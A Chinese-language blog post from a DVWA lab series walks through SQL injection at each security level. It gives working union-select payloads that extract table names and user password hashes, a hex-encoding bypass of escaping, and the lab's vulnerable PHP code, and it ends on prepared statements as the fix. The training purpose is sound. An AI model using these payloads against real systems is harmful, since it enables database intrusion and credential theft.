DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用
本渗透系列包含最新DVWA的14个渗透测试样例:
1.Brute Force(暴力破解)
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)
14.JavaScript
安全级别分低、中、高、安全四个级别来分析SQL Injection的渗透测试过程。
通过任意手段,达到让程序执行恶意SQL代码的目的。
表单提交;任何后端可利用的接口;可能被后端读取并添加到SQL中的上传文件名等等
获取或超控数据库里的数据
1' or 1 =1 #
1' or 1=1 order by 2 #
9527' union select 1,2 #
9527' union select 1,database() #
9527' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
9527' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
9527' union select group_concat(user_id,'-',first_name,'-',last_name),group_concat(password) from users #
分析:字符型注入漏洞,没有任何过滤和效验
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
返回:SQL错误,咋不行了?
1 or 1=1 #
id=9527 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
发现:使用了mysql_real_escape_string,对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,所以可以采用Hex编码绕过。
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
发现:居然又换了花样,采用弹框式,发起注入请求的页面和结构展示页面不是同一个,但是整个渗透过程和Low一模一样!
high.php:发现添加了LIMIT 1,由于我们注入SQL后面一直都加了【#】,所以这个新增条件,对渗透过程没产生影响。
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
源码分析:采用了PDO的方式处理SQL请求,数据与逻辑分离,等同于Java里的预处理。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
一句话:没有采用预处理方式的,都可能存在SQL注入漏洞,黑名单总有可能被绕过!
爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!